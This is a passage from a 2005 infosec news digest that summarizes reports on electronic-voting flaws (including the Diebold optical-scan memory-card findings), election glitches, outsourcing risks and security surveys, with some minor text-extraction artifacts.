Category 29.4 Online & electronic voting 2005-07-13 electronic voting machines optical scanners vote tampering vulnerabilities hack Diebold report analysis flaws

RISKS; http://www.blackboxvoting.org/BBVreport.pdf

94

23

DIEBOLD OPTICAL SCAN VOTING MACHINE SUSCEPTIBLE TO TAMPERING

Bruce O'Dell provided an extensive summary of a thorough analysis of the Diebold Optical Scan systems used to tally 25M votes in the 2004 elections in the US. Here are excerpts.

>Harri Hursti, an independent security consultant - with the consent of election officials in Leon County, Florida - was able to take full control of the Diebold optical scan device and manipulate vote totals and audit reports at will.

The Diebold Precinct-Based Optical Scan 1.94w device accommodates a removable memory card. It had been believed that this card contained only the electronic "ballot box", the ballot design and the race definitions; astonishingly enough, the memory card also contains executable code essential to the operation of the optical scan system. The presence of executable code on the memory card is not mentioned in the official product documentation. This architecture permits multiple methods for unauthorized code to be downloaded to the memory cards, and is wide open to exploitation by malicious insiders.

The individual cards are programmed by the Diebold GEMS central tabulator device via a RS-232 serial port connection or via modem over the public phone network. There are no checksum mechanisms to detect or prevent tampering with the executable code, and worse yet, there are credible exploits which could compromise both the checksum and executable. The report notes that this appears to be in violation of Chapter 5 of the 1990 Federal Election Commission Standards for election equipment, and therefore should never have been certified for use.

The executable code is written in a proprietary language, Accu-Basic. Accu-Basic programs are first compiled into ASCII pseudocode, which is then executed by an interpreter residing in the optical scan device. Hursti located an inexpensive device capable of reading and updating the memory cards advertised on the Internet, and using a publicly-available version of the Accu-Basic compiler (found on the Internet, along with Diebold source code and other documents, by Bev Harris in 2003) was able to exploit these vulnerabilities - and publicly demonstrated the ability to modify vote totals and audit reports at will.

According to the report:

"Exploits available with this design include, but are not limited to:

"1) Paper trail falsification - Ability to modify the election results reports so that they do not match the actual vote data

"1.1) Production of false optical scan reports to facilitate checks and balances (matching the optical scan report to the central tabulator report), in order to conceal attacks like redistribution of the votes or Trojan horse scripts such as those designed by Dr. Herbert Thompson.(19)

"1.2) An ingenious exploit presents itself, for a single memory card to mimic votes from many precincts at once while transmitting votes to the central tabulator. The paper trail falsification methods in this report will hide evidence of out-of-place information from the optical scan report if that attack is used.

"2) Removal of information about pre-loaded votes

- "2.1) Ability to hide pre-loaded votes
- "2.2) Ability to hide a pre-arranged integer overflow

"3) Ability to program conditional behavior based on time/date, number of votes counted, and many other hidden triggers.<

After discussion of the demonstration that all of these vulnerabilities can be exploited, Mr O'Dell added, "The affected Diebold optical scan equipment should be immediately withdrawn from use in any election until independent recertification is achieved, or a secure alternative is obtained. All other election equipment - manufactured by Diebold or by other vendors - should be examined, and if subject to the same vulnerability, should also be withdrawn. An investigation to determine how equipment with such serious vulnerabilities to insider manipulation could ever have been certified should also be launched, and certification and oversight procedures enhanced."

He ended his report with these words: "Good people died to gain and defend our right to vote. Election administration must not be exempt from industry best practices for security, audit and control."

Category 29.4 Online & electronic voting 2005-08-17 electronic e-voting study grant NSF higher education colleges ACCURATE produce technical standards secure voting systems

EDUPAGE; http://washingtontimes.com/upi/20050817-124413-4457r.htm

NSF GRANT FUNDS STUDY OF ELECTRONIC VOTING

A team of researchers will use a five-year, \$7.5 million grant from the National Science Foundation (NSF) to study electronic voting. The grant will support a research center called ACCURATE, A Center for Correct, Usable, Reliable, Auditable, and Transparent Elections. Based at Johns Hopkins University, the center includes researchers from the University of California, Berkeley; Stanford University; Rice University; the University of Iowa; and California-based research firm SRI International. According to Dan Wallach, associate professor of computer science at Rice, "The basic question is, 'How can we employ computer systems as trustworthy election systems when we know computers are not totally reliable, totally secure, or bug-free?'' The ACCURATE project is expected to produce technical standards for electronic voting and to develop secure voting systems that are easy to use. Washington Times, 17 August 2005

Category 29.4 Online & electronic voting

2005-09-13 electronic voting vulnerabilities design government research agency report

RISKS

NRC REPORT ON ELECTRONIC VOTING

Election officials across the United States are increasingly looking to electronic voting systems as a way to administer elections more efficiently, but skeptics have raised concerns about the security and reliability of these systems. ASKING THE RIGHT QUESTIONS ABOUT ELECTRONIC VOTING, new from the National Academies' National Research Council, offers a set of questions that policy-makers and the public should ask to help ensure that the technologies implemented are secure, reliable, efficient, and easy to use. Advance copies are now available to reporters. The report, which was chaired by DICK THORNBURGH, former governor of Pennsylvania, and RICHARD F. CELESTE, former governor of Ohio, was released on September 13, 2005, and is available free in PDF form at the web site below.

24

04

Press release at

http://www4.nationalacademies.org/news.nsf/isbn/0309100240?OpenDocument

Full report at http://www.nap.edu/catalog/11449.html (sign-in required for the PDF version).

[Contributed by Herb Lin]

Category 29.4	Online & electronic voting
2005-10-03	electronic voting machines flaws weakness errors fraud disenfranchisement hacking
	data corruption integrity Diebold

RISKS; http://josephhall.org/nqb2/index.php/2005/10/03/desi_nc 24 06

NORTH CAROLINA DOCUMENTS REVEAL DIEBOLD VOTING MACHINE VULNERABILITIES

1. In one city, Dallas, NC, a bug appears to have prevented the downloading of 11,945 votes which wasn't caught for seven days. At which point, it appears the county compared paper print-outs from the precinct with the totals reported by the tabulation server. A DESI technician reproduced the bug twice and then decided to forgo usual DESI protocol and loaded the flash-based memory packs directly into the central (GEMS) server to retrieve the votes from the memory pack.

2. In another case, another memory pack "failed to download" and the DESI technician got approval to send a back-up file electronically to DESI technicians who then e-mailed the results back. After writing this data to a memory pack, the on-site technician loaded them into the central server via a tabulator unit.

3. Finally, the document describes hand-entering of "three to five" ballots. DESI claims as a "check and balance" this process doesn't allow the technician to enter more votes than the total vote count (that is, the number of valid plus spoiled ballots). This would implicate that one would be prevented from entering more than a certain number of votes, but, of course, does nothing to constrain what votes are entered. A human looking over the technician's shoulder is the only other constraint.

[Summary by Joseph Lorenzo Hall]

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category 29.4	Online & electronic voting		
2005-11-15	electronic voting glitches errors flaws fraud problems da	ta integrity aud	lit trails
RISKS; http://josephl	hall.org/nqb2/index.php/2005/11/11/2005_glitches	24	10
VOTING GLITCHES FROM THE 7 NOV 2005 ELECTION			

Joseph Lorenzo Hall provided an extensive list of voting glitches on his Web site. He provided excerpts on RISKS:

* San Joaquin County, California - S.J. County has election night déjà vu

San Joaquin County workers misplaced a memory cartridge for an optical-scan machine. They rescanned the ballots and but haven't found the cartridge. In this story, an official says that the new Diebold TSx DREs that they want to use will make things work more smoothly... although the official doesn't recognize that misplacing the memory cartridge in a paperless DRE would not be as easily recoverable (although I believe you'd still have the ballot images resident in memory, no?).

* Cumberland County, Pennsylvania - Software error forces recount in close race for district judge

Two candidates in a race were both mistakenly listed as being from same party. Straight-ticket votes counted both candidates and initially resulted in over-votes. After this was corrected for, the race was down to a 2-vote margin (1703 to 1701 votes).

* Harwinton, Connecticut - Voting machine snafu may lead to challenge in Harwinton

One candidate was endorsed in a race by both Republican and Democratic parties and was listed twice in a choose 2 out of 3 race. This candidate, due to being listed twice, got twice as many votes as the other two candidates in the same contest.

* Pasquotank Co., North Carolina - In Elizabeth City, a 14-vote gap has one candidate calling for a recount

Selecting a certain candidate in the only contest on the ballot resulted in a write-in candidate box being selected instead. The margin in this race was 14 votes. Also, 60 blank ballots were cast (recall that there was only one race for this election).

* Lucas Co., Ohio - State plans to investigate voting chaos; Tuesday's problems are latest for Lucas County

This one is mysterious: "workers accidentally 'set an option [on the five machines] that prevented the results from being transported onto the memory card." Also, massive labor shortage resulted in chaos as election was highly understaffed and a system of "rovers" didn't function correctly (where one elections worker would travel to five polling places to get aggregate totals from machines).

* Montgomery County, Ohio - Vote count goes all night

Various problems resulted in having to download votes from 2000 memory cards instead of from one card each from the 548 precincts. However, during this process, 186 memory cards were found to be missing. After looking through bags of precinct materials ("I voted" stickers, signs, etc.) they had found 171 cards. The remaining 15 cards were only found after rousing pollworkers from bed at 3 am so they could return to the polling place to get the cards either left in machines or lying around the polling place.

* Wichita County, Texas - Human errors hamper voting

35 precincts neglect to perform zeroing out process before election. This resulted in the vote data being impossible to download from the DRE (ES&S) with PEB device. ES&S technicians were able to open the machines, remove the removable memory cards and read the data from there.

* Montgomery County, Ohio - 'Human error' creates doubt about failed vote in Carlisle

77 "phantom votes" found to have been cast in an election where a bond measure was defeated by a margin of 146 to 79. ("Phantom votes" are when there are more votes counted than there are registered voters that could have cast votes) In this case, there were only 148 registered voters that could have cast votes in this race.

[Lightly edited by MK. Each item in the original has a reference to a specific URL]

Category .	29.4	Online & electronic voting		
2005-12-0	9	electronic e-voting certification lawsuit EFF North Carolina		
RISKS; ht	tp://www.sil	iconvalley.com/mld/siliconvalley/13361799.htm	24	12
EFF E-VO	TING CERTI	IFICATION LAWSUIT		

Peter Ludemann reports that the North Carolina is being sued by the Electronic Frontier Foundation (EFF) for improper certification of voting machines:

>North Carolina law requires the Board of Elections to rigorously review all voting system code "prior to certification." But last week the state's Board of Elections certified voting systems from Diebold Election Systems, Sequoia Voting Systems, and Election Systems and Software without bothering to do so.... "This is about the rule of law," said EFF Staff Attorney Matt Zimmerman. "The Board of Elections has simply ignored its mandatory obligations under North Carolina election law. This statute was enacted to require election officials to investigate the quality and security of voting systems before approval, and only approve those that are safe and secure. By certifying without a full review of all relevant code, the Board of Elections has now opened the door for North Carolina counties to purchase untested and potentially insecure voting equipment." Keith Long, a North Carolina voting systems manager, defended the state's decision, telling News.com that reports from "independent testing authorities" were sufficient for certification. But that comes as poor reassurance. Because if the "independent testing authorities" to which Mr. Long refers are as impartial as he is, North Carolina is in big trouble. Long, you see, worked for Diebold Election Systems as recently as Oct. 1, 2004. And between 1983 and 1992 he worked for Sequoia.<

Mr Ludemann adds cogently, "So by 'independent' you mean 'independent of any public oversight,' right?"

Category 29.4	Online & electronic voting
2005-12-16	Florida lawsuit drunk driving breathalyzer source code disclosure electronic e- voting relation

RISKS; http://online.wsj.com/article_print/SB113470249958424310.html 24 13

FLORIDA BREATHALYZER SOURCE-CODE DISCLOSURE CASE

Contributor Danny Burstein refers to the following clip from _The Wall Street Journal_:

"A court fight in Florida over the software used in the instruments that detect alcohol in breath could threaten the ability of states and localities to prosecute drunk drivers.

"The battle is over the source code of breath analyzers made by CMI Group, a closely held maker of breath-alcohol instruments. Defense lawyers have challenged the use of the device and asked to see the original source code that serves as its computer brain, saying their clients have the right to examine the machine that brings evidence against them.

"Last February, a state appeals court in Daytona Beach ruled that Florida had to produce 'full information' about the test that establishes the blood-alcohol level of people accused of driving under the influence, or DUI. Otherwise, the court said, the evidence is inadmissible..."

Mr. Burstein exclaims, "Imagine if this logic followed through to the equipment being slid into election vote counting!"

29.7 Outsourcing

Category 29.7	Outsourcing		
2005-06-23	2005-06-23 data theft insider attack employee outsourcing foreign worker call center reporter investigation bank account details identity theft credit card fraud		reporter
RISKS; http://	/news.bbc.co.uk/1/hi/uk/4121934.stm	23	93
INDIAN CALL	-CENTER WORKER SOLD BANK-ACCOUNT DETAILS TO	O REPORTER	
	igating reports an Indian call centre worker sold the bank account orter. The information passed on could have been used to clone cr		o an
The Risks?			
Obvious really - overseas call centres in poverty stricken third world countries, the staff of whom have unlimited access to personal and private information of the more wealthy, are the worst security risks ever devised by financial organisations.			
[The abstract and identified.]	d comments above are reorganized from the original note submitte	ed to RISKS by "SB", who is not	t otherwise
Category 29.7	Outsourcing		

2005-12-05 Intel Corp investment research development R&D outsourcing India foreign offshore Bangalore

EDUPAGE; http://news.bbc.co.uk/2/hi/business/4499362.stm

INTEL UPS INVESTMENT IN INDIA

Intel has announced plans to invest \$1 billion in India, where it already operates the company's largest nonmanufacturing site outside the United States. That site, in Bangalore, hosts development efforts for software. The new investment, expected over the next five years, will be split between the existing research and development efforts and local firms. Craig Barrett, chairman of Intel, said, "We will grow our local operations, boost venture capital investments, and work closely with the government, industry, and educators." The company said it has not made any decisions about opening manufacturing facilities in India, though such an option remains open. The costs of doing business in countries including India are significantly lower than in the United States. Some estimates put the salary for an Indian software engineer at one-sixth of what a comparably skilled engineer would earn in the United States. BBC, 5 December 2005

31.1 Surveys, studies, audits of security

Category 31.1 Surveys, studies, audits of security

2005-01-10 poll attack Internet power grid P2P peer-to-peer

NewsScan; http://www.pewinternet.org/PPF/r/145/report_display.asp

NO SURPRISES HERE -- A BIGGER ROLE FOR THE INTERNET PREDICTED

A majority of the 1,286 experts polled by the Pew Internet & American Life Project and Elon University believe that at least one devastating attack on either the networked information infrastructure or the U.S. power grid will occur in the next 10 years. Other areas of general agreement: The Internet will become more deeply integrated in our physical environments and highspeed connections will become more commonplace. When examining the impact of these trends, 59% agreed that government and business surveillance activities likely will increase as computing devices become embedded in appliances, cars, phones and even clothes; 57% said virtual classes will play a greater role in formal education, with students occasionally grouped by skill level or interest, rather than by age; 56% predicted a continued blurring of the line between work and leisure thanks to the expansion of telecommuting, and resulting in a changing family dynamic; and 50% thought P2P music file-sharing would still be available a decade from now. Schools came in for sharp criticism, with many of the experts noting how little educational institutions had changed, despite all the hype over "school wiring" during the past decade. And it was generally agreed that the "digital divide" was alive and well, with low income, rural and poorly educated people having significantly less access to the Internet than their wealthier, better educated and more metropolitan counterparts. (Pew Internet & American Life Project 10 Jan 2005)

Category 31.1 Surveys, studies, audits of security

2005-02-08 survey security insider threat greater hacker virus worm Ponemon Institute

DHS IAIP Daily; http://www.networkingpipeline.com/showArticle.jhtml?articleI D=59301819

SURVEY SAYS INSIDERS, NOT HACKERS, ARE MAIN CAUSE OF DATA BREACHES

Most network security breaches are caused by insiders, rather than by hackers, viruses, or worms, according to a new study released by the think tank Ponemon Institute. In the study, 69% of companies reported that their data security breaches were the result of either malicious employee activities or non-malicious employee error. The leading single cause of data security breaches was non-malicious employee error, at 39%. Only 16% of serious data leaks were linked to hackers or break-ins. Of the 163 companies surveyed, 75% reported that a serious security breach had occurred within the past year.

Category 31.1 Surveys, studies, audits of security 2005-02-15 CIO IT Association of America managers survey system consolidation security priorities 2005

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/35066-1.html

CIOS SAY CONSOLIDATION AND CYBERSECURITY TOP PRIORITY LIST.

CIOs and IT managers will focus on systems consolidation and security through the end of the fiscal year. That's the chief finding from a new survey of CIOs from civilian, Defense Department, legislative and top-level executive offices. The driving factors behind IT consolidation are cutting costs and improving network cybersecurity, respondents said in the 15th annual Federal CIO Survey. CIOs also identified risk management, integrating physical and IT security, and assessing the vulnerabilities of less crucial systems as among their top priorities. The survey, conducted by the IT Association of America, found that CIOs want to reduce the number of e-mail, file and print servers in use as well as cut the number of data centers. Survey: http://www.itaa.org/news/docs/itaasurvey_f.pdf

Category 31.1 Surveys, studies, audits of security

2005-02-16 federal government cybersecurity report card cyber attack

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A30342-2005Feb16.html

FEDERAL AGENCIES GET FAILING GRADES ON CYBERSECURITY

At least half of all federal agencies received a grade of "D" or worse on the House Government Reform Committee's annual cyber-security report card. Agencies that received failing marks include the departments of Agriculture, Commerce, Energy, Health and Human Services, Housing and Urban Development, and Veterans Affairs. A grade of "D" was awarded to the departments of Defense and Treasury, as well as the National Aeronautics and Space Administration and the Small Business Administration. Committee Chairman Tom Davis (R-VA) was encouraged by the fact that the scores of the 10 agencies, as poor as they were, have actually improved since last year, but he warned they must still do better: "I hope it won't take some kind of major cyber-attack to wake everybody up." (Washington Post 16 Feb 2005)

Category 31.1 Surveys, studies, audits of security 2005-03-15 European information technology IT managers false sense Stress in Security study survey

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0,10801,100397,00.html

STUDY: EUROPEAN IT MANAGERS HAVE FALSE SENSE OF SECURITY

Many European IT managers find their jobs extremely stressful, and even those who feel they have done as much as they can to protect their companies against emerging threats are operating under a false sense of security, according to a study released today. These conclusions were detailed in Websense Inc.'s "Stress in Security" survey of 500 IT managers across Europe. Although 91% of the managers said they believe their companies have good IT security, 70% said they leave gaps open to common Internet threats, according to the study. Many known Web-based threats are being overlooked, and a majority of respondents said they have no measures in place to protect against internal hackers or phishing attacks. "The biggest problem is that they are being reactive rather than proactive," said Websense spokesperson Rebecca Zarkos, who worked on the report. Eight percent of the European companies surveyed said they have no security measures beyond a basic firewall and an antivirus product in place. A possible reason behind the lax security is that IT managers aren't delegating enough responsibility to end users, and too few security policies are enforced, Websense goners Sundary:

http://ww2.websense.com/global/en/PressRoom/PressReleases/Pr essReleaseDetail/?Release=050315863

Category 31.1 Surveys, studies, audits of security

2005-04-25 survey study steep rise Website defacements 2004 hacktivism

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4480689.stm

SURVEY SHOWS STEEP RISE IN WEB SITE DEFACEMENTS

Attacks on Web sites jumped 36 percent in 2004, totaling nearly 400,000 incidents, according to Zone-H, an organization that tracks malicious Web activity. Of the attacks recorded by the organization, Web site defacements--in which a bogus Web page is substituted for a Web site's home page--constituted the vast majority of attacks. Roberto Preatoni of Zone-H pointed out, though, that "the techniques used by defacers are the same techniques used by serious criminals to cause more serious damage." According to the group's report, more than half of the successful hacks took advantage of a known weakness or careless administration, such as easily guessed passwords or unprotected systems. Zone-H reported that the frequency of attacks rises over the Christmas holidays and drops when schools reopen each year after summer break. BBC, 25 April 2005

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category 31.1	Surveys, studies, audits of security
2005-04-25	unpatched computer machines major security threat McAfee analysis
DHS IAIP Daily; http	://www.informationweek.com/story/showArticle.jhtml;jsess

ionid=ZWPITNXHXNCIMQSNDBCSKH0CJUMEKJVN?articleID=161502434

UNPATCHED MACHINES SEEN AS MAJOR SECURITY THREAT

Hackers will keep developing exploits that take advantage of known software vulnerabilities because, although patches are available, a minority of machines are fixed, security vendor McAfee said Monday, April 25. In releasing its quarterly security analysis, McAfee's "AVERT" virus research team noted that exploited vulnerabilities are becoming a dominant threat to both consumers and enterprises. According to AVERT's estimates, half or more of the computers connected to the Internet aren't properly patched or updated. Not good, especially when the number of vulnerabilities spotted in the first quarter of 2005 was up six percent over the same quarter last year. While traditional viruses may be on the way out, other threats, such as phishing, have stepped in to fill the gap said Vincent Gullotto, the vice president of AVERT. "I think we'll see a reduction in the number of traditional phishing sites that entice people to divulge information," he said. "Instead, we'll see programs that are pure spyware that can directly target the clientele they want, to get the data they need." AVERT Report: http://www.mcafeesecurity.com/us/about/press/corporate/2005/ 20050425_185320.htm

Category 31.1Surveys, studies, audits of security2005-05-02study antivirus software media playing hacking operating system autoupdate
patching helpful security

DHS IAIP Daily; http://www.reuters.com/newsArticle.jhtml?type=technologyNews &storyID=8359020

STUDY SHOWS HACKERS WIDENING FOCUS

Online criminals turned their attention to antivirus software and media players in the first three months of 2005 as they sought new ways to take control of users' computers, according to a survey released on Monday, May 2. While hackers continued to poke new holes in Microsoft's Windows operating system, they increasingly exploited flaws in software made by other companies as well, the nonprofit SANS Institute found. As more Windows users agreed to receive security upgrades automatically, hackers looked to take advantage of other software programs that might not be patched as frequently, the head of the cybersecurity training and research organization said. "Operating systems have gotten better at finding and fixing things and auto-updating, so it's less fertile territory for the hackers," said SANS Chief Executive Alan Paller. More than 600 new Internet security holes have surfaced in 2005 so far, SANS found. Report: http://www.sans.org/top20/Q1-2005update

Category 31.1	Surveys, studies, audits of security
2005-05-19	privacy data theft confidentiality breaches personal information control databases
	summary

RISKS

PRIVACY JOURNAL LISTS DATA LEAKAGE & DATA THEFTS IN 1Q2005

88

23

Robert Ellis Smith, publisher of the _Privacy Journal_, published a summary of some of the major losses of control and confidentiality in the first quarter of the year 2005:

To appreciate THE CUMULATIVE EFFECT, Privacy Journal newsletter in its May issue compiled the following list of breaches of sensitive personal information, disclosed just since January. It's not an atypical list for a three-month period, but breaches are obviously getting more press attention.

* Tepper School of Business at Carnegie Mellon University reported that a hacker had access to Social Security numbers and other sensitive personal information relating to 5000 or more graduate students, staff, and alumni. Another department at the university is responsible for receiving complaints of Internet breaches and solving them.

* Tufts University notified 106,000 alumni, warning of "abnormal activity" on its fund-raising computer system listing names, addresses, phone numbers, and, in some cases, Social Security numbers and credit-card account numbers.

* ChoicePoint, the insurance and employment investigative company and "information broker" based in Georgia, sold personal data on from 100,000 to 500,000 or more persons to fraud artists posing as legitimate businesses. (Still, the State of California plans to award a \$340,000 contract to the Equifax-created company to gather information on suspected criminals and terrorists, according to The Sacramento Bee.)

* DSW Shoe Warehouse experienced a hacking incident involving access to an estimated 1.4 million credit-card numbers and names, 10 times more than investigators estimated at first, as well as driver's license numbers and checking-account numbers from 96,000 transactions involving other customers.

* A computer system breach at an unnamed retailer involved at least 180,000 customers, perhaps more. HSBC North America, which issues GM's MasterCard, urged all customers to replace their cards as quickly as possible because the personal data was compromised. The Wall Street Journal identified the retailer as Polo Ralph Lauren Corp., but the company insisted that in fact no information was leaked, although a computer flaw was discovered and fixed.

* Ameritrade Holding Corp., the online discount broker, informed about 200,000 current and former customers that a back-up computer tape containing their account information was lost when a package containing the data was damaged during shipping.

* Canadian Imperial Bank of Commerce, CIBC, one of Canada's leading banks, "failed to recognize" that misdirected confidential faxes sent to outside parties over a three-year period were a breach of customers' privacy that could have been prevented, according to a finding by the federal Privacy Commissioner in Canada. Bank of Montreal, Royal Bank of Canada, Scotiabank, TD Bank, and National Bank have also misdirected faxes with customer information.

* Motor vehicle departments in four states have lost personal data. The Texas Department of Public Safety mailed to 500 to 600 licensed drivers renewal documents that pertained to other persons. In March, burglars rammed a vehicle through a back wall at a Nevada Department of Motor Vehicles facility near Las Vegas and drove off with files on about 9000 people, including Social Security numbers. In April police arrested 52 people, including three examiners at the Florida Department of Motor Vehicles, in a scheme involving the sale of more than 2000 fake driver's licenses. Also, Maryland police arrested three people, including a DMW worker there, in a plot to sell about 150 fake licenses.

* A Boston-based storage company named Iron Mountain Inc., lost Time Warner Inc.'s computer back-up tapes with Social Security numbers and names of 600,000 current and former employees and dependents. This is the fourth time this year that Iron Mountain has lost tapes during delivery to a storage facility, according to The Wall Street Journal.

* Someone gained access to the personal information of 59,000 current, former, and prospective students at California State University, Chico, the university revealed in March.

* A laptop that contains about 100,000 Social Security numbers of students and personnel at the University of California, Berkeley was stolen from the school's campus.

* Someone hacked into a database at the Kellogg School of Management at Northwestern University, possibly exposing data pertaining to 21,000 individuals at Northwestern.

* More than 1600 parents discovered in January that records in the Colorado State Health Department relating to an autism study were lost. A laptop computer left in a health department employee's automobile was apparently stolen last October.

Mr Ellis kindly added this invitation:

A free copy of the current issue of Privacy Journal is available through < mailto:orders@privacyjournal.net >. Specify e-mail copy or hard copy (and include a mailing address).

Category 31.1 Surveys, studies, audits of security

2005-06-24 survey IT managers gain core passwords easily

DHS IAIP Daily; http://news.bbc.co.uk/1/hi/business/4618691.stm

COMPUTER PASSWORDS 'UP FOR GRABS' ACCORDING TO IT SECURITY FIRM

Half of IT managers employed by large-sized companies believe it would be relatively easy to gain the core passwords for their computer systems. That is the warning of a survey by IT security firm, Cyber-Ark. It said that ten percent of firms never changed their central administrative passwords. A further five percent did not even bother altering the manufacturer's default password that came with the system. The survey also found one IT boss who kept all passwords on his mobile phone. Less than a third of IT managers store key passwords digitally, the survey of 175 IT professionals revealed. The remainder continued to keep paper copies, stored everywhere from locked cabinets to safes. About 25% of IT staff could, as a result, access the core passwords without official permission, the survey said. The survey found that IT managers estimate 19% of general staff in their firms still keep their passwords on notepaper beside their computers. Cyber-Ark Press Release: http://www.cyber-ark.com/networkvaultnews/pr_20050608.htm

Category31.1Surveys, studies, audits of security2005-06-28study security executives under pressure under-prepared difficult jobDHS IAIP Daily; http://www.esecurityplanet.com/trends/article.php/3516156SECURITY EXECUTIVES: UNDER PRESSURE AND UNDER-PREPARED

A new survey of corporate security executives shows that their jobs are more difficult to handle than just a year ago, and they're not prepared to handle some significant security issues. Nearly 100 percent of CSOs say they are well prepared to handle spam, malware, denial-of-service attacks, and hacker attacks, according to a survey by CSO Interchange at a conference held last week in Chicago, IL, for chief security officers. However, 88 percent say their organizations are least prepared to handle inadvertent loss of data, social engineering and inappropriate use. The survey also shows that sixty-four percent of CSOs are more concerned about compliance this year than they were last year, and 38 percent report their budget for compliance solutions grew during the past year; seventy-four percent say their organization must comply with more than five laws and regulations; sixty-eight percent say their security budget is less than 10 percent of their total IT budget; eighty-three percent outsource less than 10 percent of their security percent say they do not receive sufficient early warning for cyber attacks. Survey results: http://www.csointerchange.org/docs/2005-06-24-chicago-pollin g-results.pdf

Category 31.1 Surveys, studies, audits of security

2005-07-05 study malicious code spike 2005 Sophos professional crimes Trojan horses

EDUPAGE; http://news.com.com/2100-7349_3-5774841.html

MALWARE MUSHROOMS TO NEW LEVELS

Incidents involving malicious computer code have spiked this year, according to computer security firm Sophos, which attributes the sharp rise to growing numbers of professional criminals who are using the Internet to make money. The company said it has tracked nearly 8,000 new varieties of malware in the first six months of the year, an increase of 60 percent over the same period last year. Graham Cluley, senior technology consultant at Sophos, noted that the trend in malware has been toward Trojan horses and away from viruses and worms. Trojan horses can allow hackers to access information on a compromised system or to take over the system completely. It is these Trojans, said Cluley, that criminals are using to make money from unsuspecting users. Although Microsoft products remained at the top of the list of most frequently targeted applications, Cluley said malware is also being written to take advantage of Linux, UNIX, and Mac systems. CNET, 5 July 2005

Category 31.1	Surveys, studies, audits of security
2005-07-08	communications program information warfare battlespace software quality
	assurance QA problems failures challenges schedule report investigation network

RISKS; http://www.gcn.com/vol1_no1/daily-updates/36302-1.html

93

23

GAO REPORT SLAMS US ARMY'S FUTURE COMBAT SYSTEMS NETWORKS PROJECT'S

The major communications programs that will support the Army's transformational Future Combat Systems initiative are in jeopardy of failing to meet technical challenges and an accelerated schedule, according to the Government Accountability Office. GAO found that each of the communications pillars of the Army's Future Combat Systems (FCS) program - two Joint Tactical Radio System (JTRS) clusters, the Warfighter Information Network-Tactical (WIN-T) program and the System of Systems Common Operating Environment (SOSCOE) - would likely fail to meet aggressive schedules due to immature technologies.

"As currently structured, the JTRS, WIN-T and SOSCOE programs are at risk of not delivering intended capabilities when needed, particularly for the first spiral of FCS," according to GAO. "They continue to struggle to meet an ambitious set of user requirements, steep technical challenges and stringent time frames."

FCS is designed to link 18 manned and unmanned weapons systems via a common computer network known as WIN-T and the System of Systems Common Operating Environment.

The Army restructured its FCS program last year into spirals, with officials announcing the first spiral would happen in fiscal 2008. But GAO said the first spiral may not demonstrate key networking capabilities.

GAO found the FCS program faces network, developmental and financial challenges that continue to slow progress. FCS' information network is dependent on the success of JTRS, WIN-T and SOSCOE - programs that are not included in FCS costs.

"Because JTRS, WIN-T and SOSCOE all rely on significant advances in current technologies and capabilities and must be fully integrated to realize FCS, there are substantial risks to this effort," wrote Paul L. Francis, GAO's director of acquisition and sourcing management, in the report.

[Abstract by Pete Mellor]

Category 31.1 Surveys, studies, audits of security

2005-07-18 study cyber attack damages drop CSI FBI

EDUPAGE; http://www.theregister.com/2005/07/18/csi_fbi_security_survey/

STUDY SHOWS DROP IN DAMAGES FROM CYBER ATTACKS

A new study shows a significant drop in the amount of damage caused by cyber attacks as well as a shift in the kinds of attacks that are most commonly reported. Researchers from the University of Maryland conducted the Computer Crime and Security Survey on behalf of the Computer Security Institute (CSI), with consultation from security experts at the FBI. The survey questioned IT security officials at 700 private companies, governmental agencies, and universities and found that the average cost per security incident was \$204,000, down from \$526,000 a year earlier. Viruses remain the most frequent type of attack (32 percent), but unauthorized access rose to second on the list at 24 percent. Chris Keating, director of CSI, noted that schemes to steal individuals' identities are a growing concern. The survey, he said, indicates "more financial damage due to theft of sensitive company data," a trend that should press network managers to ensure the security of enterprise systems. The Register, 18 July 2005

23

95

Category 31.1	Surveys, studies, audits of security
2005-07-27	national policy reports recommendations telework research development children
	education awareness ethics

RISKS; http://www.csialliance.org

THREE REPORTS FROM THE COMPUTER SECURITY INDUSTRY ALLIANCE

Gene Spafford ("Spaf") noted that the Computer Security Industry Alliance issued three reports of possible interest:

* CSIA Calls for Increased Adoption of Telework by the Federal Government: Cites Need to Ensure Continuity of Federal Operations in a Disaster

https://www.csialliance.org/resources/pdfs/CSIA_Telework.pdf

* CSIA Urges the Administration and Congress to Elevate Cyber Security and Research & Development Efforts: CSIA voices concern over the dissolution of a Presidential committee focused on information security issues and calls for a national vision for cyber security R&D.

Https://www.csialliance.org/resources/pdfs/CSIA_RD.pdf

* CSIA Calls for a National K-12 Cyber Awareness Program: A Focused, Organized National Effort is Needed to Teach Children Cyber Security, Cyber Ethics and Cyber Safety. https://www.csialliance.org/resources/pdfs/K12_White_Paper.pdf

Category 31.1	Surveys, studies, audits of security
2005-09-01	study colleges higher education university computer security concerns
	vulnerabilities

EDUPAGE; http://www.csmonitor.com/2005/0901/p12s02-legn.html

COLLEGES DEALING WITH COMPUTER SECURITY CONCERNS

As the number of computers on college campuses rises, and as IT becomes increasingly rooted in campus activities, higher education officials find themselves facing expanding numbers and kinds of threats to vulnerabilities in computer security. According to the Privacy Rights Clearinghouse (PRC), 50 million people have been involved in data breaches over the past seven months, including more than 30 incidents on U.S. college and university campuses. Complicating the challenge to IT security staff is the historically open nature of academic settings, a characteristic often at odds with strong computer security. Another factor making life difficult for IT staff are the computers that students bring to campus with them, often with inadequate or poorly configured security features. Jack Suess, vice president of information technology at the University of Maryland Baltimore County, however, noted that of the 11,000 to 12,000 computers on his campus this year, "there's probably only 200 or 250 I'm really worried about." Christian Science Monitor, 1 September 2005

Category 31.1 Surveys, studies, audits of security

2005-11-04 survey IT executives insider threat worry concern security

DHS IAIP Daily; http://www.esecurityplanet.com/prevention/article.php/3561761

INSIDER THREATS GIVING IT EXECS NIGHTMARES

